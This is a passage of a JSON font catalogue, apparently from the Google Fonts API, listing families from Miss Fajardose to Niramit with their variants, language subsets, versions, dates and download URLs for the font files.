Fajardose","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/missfajardose/v10/E21-_dn5gvrawDdPFVl-N0Ajb8qvWPaJq4no.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mitr","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8fMZFJDUc1NECPY.ttf","300":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8ZcaFJDUc1NECPY.ttf","regular":"http://fonts.gstatic.com/s/mitr/v5/pxiLypw5ucZFyTsyMJj_b1o.ttf","500":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8c8bFJDUc1NECPY.ttf","600":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8eMcFJDUc1NECPY.ttf","700":"http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8YcdFJDUc1NECPY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Modak","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/modak/v5/EJRYQgs1XtIEsnMH8BVZ76KU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Modern Antiqua","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/modernantiqua/v10/NGStv5TIAUg6Iq_RLNo_2dp1sI1Ea2u0c3Gi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mogra","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mogra/v7/f0X40eSs8c95TBo4DvLmxtnG.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Molengo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/molengo/v11/I_uuMpWeuBzZNBtQbbRQkiCvs5Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Molle","variants":["italic"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"italic":"http://fonts.gstatic.com/s/molle/v9/E21n_dL5hOXFhWEsXzgmVydREus.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Monda","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/monda/v10/TK3tWkYFABsmjvpmNBsLvPdG.ttf","700":"http://fonts.gstatic.com/s/monda/v10/TK3gWkYFABsmjsLaGz8Dl-tPKo2t.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Monofett","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/monofett/v10/mFTyWbofw6zc9NtnW43SuRwr0VJ7.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Monoton","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/monoton/v10/5h1aiZUrOngCibe4fkbBQ2S7FU8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Monsieur La Doulaise","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/monsieurladoulaise/v9/_Xmz-GY4rjmCbQfc-aPRaa4pqV340p7EZl5ewkEU4HTy.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Montaga","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/montaga/v8/H4cnBX2Ml8rCkEO_0gYQ7LO5mqc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Montez","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/montez/v11/845ZNMk5GoGIX8lm1LDeSd-R_g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Montserrat","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-15","files":{"100":"http://fonts.gstatic.com/s/montserrat/v15/JTUQjIg1_i6t8kCHKm45_QphziTn89dtpQ.ttf","100italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUOjIg1_i6t8kCHKm459WxZqi7j0dJ9pTOi.ttf","200":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_aZA7g7J_950vCo.ttf","200italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZBg_D-_xxrCq7qg.ttf","300":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_cJD7g7J_950vCo.ttf","300italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZYgzD-_xxrCq7qg.ttf","regular":"http://fonts.gstatic.com/s/montserrat/v15/JTUSjIg1_i6t8kCHKm45xW5rygbi49c.ttf","italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUQjIg1_i6t8kCHKm459WxhziTn89dtpQ.ttf","500":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_ZpC7g7J_950vCo.ttf","500italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZOg3D-_xxrCq7qg.ttf","600":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_bZF7g7J_950vCo.ttf","600italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZFgrD-_xxrCq7qg.ttf","700":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_dJE7g7J_950vCo.ttf","700italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZcgvD-_xxrCq7qg.ttf","800":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_c5H7g7J_950vCo.ttf","800italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZbgjD-_xxrCq7qg.ttf","900":"http://fonts.gstatic.com/s/montserrat/v15/JTURjIg1_i6t8kCHKm45_epG7g7J_950vCo.ttf","900italic":"http://fonts.gstatic.com/s/montserrat/v15/JTUPjIg1_i6t8kCHKm459WxZSgnD-_xxrCq7qg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Montserrat Alternates","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/montserratalternates/v12/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU0xiKfVKphL03l4.ttf","100italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTjWacfw6zH4dthXcyms1lPpC8I_b0juU057p-xIJxp1ml4imo.ttf","200":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xJIb1ALZH2mBhkw.ttf","200italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8dAbxD-GVxk3Nd.ttf","300":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xQIX1ALZH2mBhkw.ttf","300italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p95ArxD-GVxk3Nd.ttf","regular":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTvWacfw6zH4dthXcyms1lPpC8I_b0juU0J7K3RCJ1b0w.ttf","italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU057qfVKphL03l4.ttf","500":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xGIT1ALZH2mBhkw.ttf","500italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8hA7xD-GVxk3Nd.ttf","600":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xNIP1ALZH2mBhkw.ttf","600italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8NBLxD-GVxk3Nd.ttf","700":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xUIL1ALZH2mBhkw.ttf","700italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9pBbxD-GVxk3Nd.ttf","800":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xTIH1ALZH2mBhkw.ttf","800italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p91BrxD-GVxk3Nd.ttf","900":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xaID1ALZH2mBhkw.ttf","900italic":"http://fonts.gstatic.com/s/montserratalternates/v12/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9RB7xD-GVxk3Nd.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Montserrat Subrayada","variants":["regular","700"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/montserratsubrayada/v10/U9MD6c-o9H7PgjlTHThBnNHGVUORwteQQE8LYuceqGT-.ttf","700":"http://fonts.gstatic.com/s/montserratsubrayada/v10/U9MM6c-o9H7PgjlTHThBnNHGVUORwteQQHe3TcMWg3j36Ebz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Moul","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/moul/v12/nuF2D__FSo_3E-RYiJCy-00.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Moulpali","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/moulpali/v13/H4ckBXKMl9HagUWymyY6wr-wg763.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mountains of Christmas","variants":["regular","700"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mountainsofchristmas/v13/3y9w6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7ePNamMPNpJpc.ttf","700":"http://fonts.gstatic.com/s/mountainsofchristmas/v13/3y9z6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7eBGqJFPtCOp6IaEA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mouse Memoirs","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mousememoirs/v8/t5tmIRoSNJ-PH0WNNgDYxdSb7TnFrpOHYh4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mr Bedfort","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrbedfort/v9/MQpR-WCtNZSWAdTMwBicliq0XZe_Iy8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mr Dafoe","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/mrdafoe/v9/lJwE-pIzkS5NXuMMrGiqg7MCxz_C.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mr De Haviland","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrdehaviland/v9/OpNVnooIhJj96FdB73296ksbOj3C4ULVNTlB.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mrs Saint Delafield","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/mrssaintdelafield/v8/v6-IGZDIOVXH9xtmTZfRagunqBw5WC62cK4tLsubB2w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mrs Sheppards","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mrssheppards/v9/PN_2Rfm9snC0XUGoEZhb91ig3vjxynMix4Y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mukta","variants":["200","300","regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2019-07-17","files":{"200":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEOjFma-2HW7ZB_.ttf","300":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFqj1ma-2HW7ZB_.ttf","regular":"http://fonts.gstatic.com/s/mukta/v7/iJWKBXyXfDDVXYnGp32S0H3f.ttf","500":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEyjlma-2HW7ZB_.ttf","600":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEeiVma-2HW7ZB_.ttf","700":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbF6iFma-2HW7ZB_.ttf","800":"http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFmi1ma-2HW7ZB_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Mahee","variants":["200","300","regular","500","600","700","800"],"subsets":["gurmukhi","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9MFcBoHJndqZCsW.ttf","300":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NhcxoHJndqZCsW.ttf","regular":"http://fonts.gstatic.com/s/muktamahee/v7/XRXQ3IOIi0hcP8iVU67hA-vNWz4PDWtj.ttf","500":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9M5choHJndqZCsW.ttf","600":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9MVdRoHJndqZCsW.ttf","700":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NxdBoHJndqZCsW.ttf","800":"http://fonts.gstatic.com/s/muktamahee/v7/XRXN3IOIi0hcP8iVU67hA9NtdxoHJndqZCsW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Malar","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","tamil"],"version":"v7","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMwBtAB62ruoAZW.ttf","300":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINUBdAB62ruoAZW.ttf","regular":"http://fonts.gstatic.com/s/muktamalar/v7/MCoXzAXyz8LOE2FpJMxZqLv4LfQJwHbn.ttf","500":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMMBNAB62ruoAZW.ttf","600":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqIMgA9AB62ruoAZW.ttf","700":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINEAtAB62ruoAZW.ttf","800":"http://fonts.gstatic.com/s/muktamalar/v7/MCoKzAXyz8LOE2FpJMxZqINYAdAB62ruoAZW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mukta Vaani","variants":["200","300","regular","500","600","700","800"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXNV8BD-u97MW1a.ttf","300":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWpVMBD-u97MW1a.ttf","regular":"http://fonts.gstatic.com/s/muktavaani/v7/3Jn5SD_-ynaxmxnEfVHPIF0FfORL0fNy.ttf","500":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXxVcBD-u97MW1a.ttf","600":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXdUsBD-u97MW1a.ttf","700":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGW5U8BD-u97MW1a.ttf","800":"http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWlUMBD-u97MW1a.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mulish","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-13","files":{"200":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexRNRwaClGrw-PTY.ttf","300":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexc1RwaClGrw-PTY.ttf","regular":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexZNRwaClGrw-PTY.ttf","500":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexaFRwaClGrw-PTY.ttf","600":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexU1WwaClGrw-PTY.ttf","700":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexXRWwaClGrw-PTY.ttf","800":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexRNWwaClGrw-PTY.ttf","900":"http://fonts.gstatic.com/s/mulish/v1/1Ptyg83HX_SGhgqO0yLcmjzUAuWexTpWwaClGrw-PTY.ttf","200italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSqeOvHp47LTZFwA.ttf","300italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSd-OvHp47LTZFwA.ttf","italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSKeOvHp47LTZFwA.ttf","500italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSG-OvHp47LTZFwA.ttf","600italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsS9-SvHp47LTZFwA.ttf","700italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSzuSvHp47LTZFwA.ttf","800italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSqeSvHp47LTZFwA.ttf","900italic":"http://fonts.gstatic.com/s/mulish/v1/1Ptwg83HX_SGhgqk2hAjQlW_mEuZ0FsSgOSvHp47LTZFwA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"MuseoModerno","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMlZFuewajeKlCdo.ttf","200":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMtZEuewajeKlCdo.ttf","300":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMghEuewajeKlCdo.ttf","regular":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMlZEuewajeKlCdo.ttf","500":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMmREuewajeKlCdo.ttf","600":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMohDuewajeKlCdo.ttf","700":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMrFDuewajeKlCdo.ttf","800":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMtZDuewajeKlCdo.ttf","900":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMv9DuewajeKlCdo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mystery Quest","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mysteryquest/v8/-nF6OG414u0E6k0wynSGlujRHwElD_9Qz9E.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"NTR","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/ntr/v9/RLpzK5Xy0ZjiGGhs5TA4bg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nanum Brush Script","variants":["regular"],"subsets":["korean","latin"],"version":"v17","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumbrushscript/v17/wXK2E2wfpokopxzthSqPbcR5_gVaxazyjqBr1lO97Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nanum Gothic","variants":["regular","700","800"],"subsets":["korean","latin"],"version":"v17","lastModified":"2019-07-22","files":{"regular":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_3Rfi-oW3hYwmKDpxS7F_z_tLfxno73g.ttf","700":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LQv37zlEn14YEUQ.ttf","800":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LXv77zlEn14YEUQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nanum Gothic Coding","variants":["regular","700"],"subsets":["korean","latin"],"version":"v14","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIVdjzHisX_8vv59_xMxtPFW4IXROwsy6QxVs1X7tc.ttf","700":"http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIYdjzHisX_8vv59_xMxtPFW4IXROws8xgecsV88t5V9r4.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Nanum Myeongjo","variants":["regular","700","800"],"subsets":["korean","latin"],"version":"v15","lastModified":"2019-07-17","files":{"regular":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Btx3DZF0dXLMZlywRbVRNhxy1LreHQ8juyl.ttf","700":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pXV1A0pfCs5Kos.ttf","800":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pLVFA0pfCs5Kos.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Nanum Pen Script","variants":["regular"],"subsets":["korean","latin"],"version":"v15","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumpenscript/v15/daaDSSYiLGqEal3MvdA_FOL_3FkN2z7-aMFCcTU.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nerko One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/nerkoone/v1/m8JQjfZSc7OXlB3ZMOjzcJ5BZmqa3A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Neucha","variants":["regular"],"subsets":["cyrillic","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/neucha/v12/q5uGsou0JOdh94bvugNsCxVEgA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Neuton","variants":["200","300","regular","italic","700","800"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKAKkfegD5Drog6Q.ttf","300":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKZKofegD5Drog6Q.ttf","regular":"http://fonts.gstatic.com/s/neuton/v13/UMBTrPtMoH62xUZyyII7civlBw.ttf","italic":"http://fonts.gstatic.com/s/neuton/v13/UMBRrPtMoH62xUZCyog_UC71B6M5.ttf","700":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKdK0fegD5Drog6Q.ttf","800":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKaK4fegD5Drog6Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"New Rocker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/newrocker/v9/MwQzbhjp3-HImzcCU_cJkGMViblPtXs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"News Cycle","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v17","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/newscycle/v17/CSR64z1Qlv-GDxkbKVQ_TOcATNt_pOU.ttf","700":"http://fonts.gstatic.com/s/newscycle/v17/CSR54z1Qlv-GDxkbKVQ_dFsvaNNUuOwkC2s.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Niconne","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/niconne/v10/w8gaH2QvRug1_rTfrQut2F4OuOo.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Niramit","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVXx7tiiEr5_BdZ8.ttf","200italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiXimOq73EZZ_f6w.ttf","300":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVRh4tiiEr5_BdZ8.ttf","300italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiOiqOq73EZZ_f6w.ttf","regular":"http://fonts.gstatic.com/s/niramit/v5/I_uuMpWdvgLdNxVLbbRQkiCvs5Y.ttf","italic":"http://fonts.gstatic.com/s/niramit/v5/I_usMpWdvgLdNxVLXbZalgKqo5bYbA.ttf","500":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVUB5tiiEr5_BdZ8.ttf","500italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiYiuOq73EZZ_f6w.ttf","600":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVWx-tiiEr5_BdZ8.ttf","600italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiTiyOq73EZZ_f6w.ttf","700":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVQh_tiiEr5_BdZ8.ttf","700italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiKi2Oq73EZZ_f6w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nixie 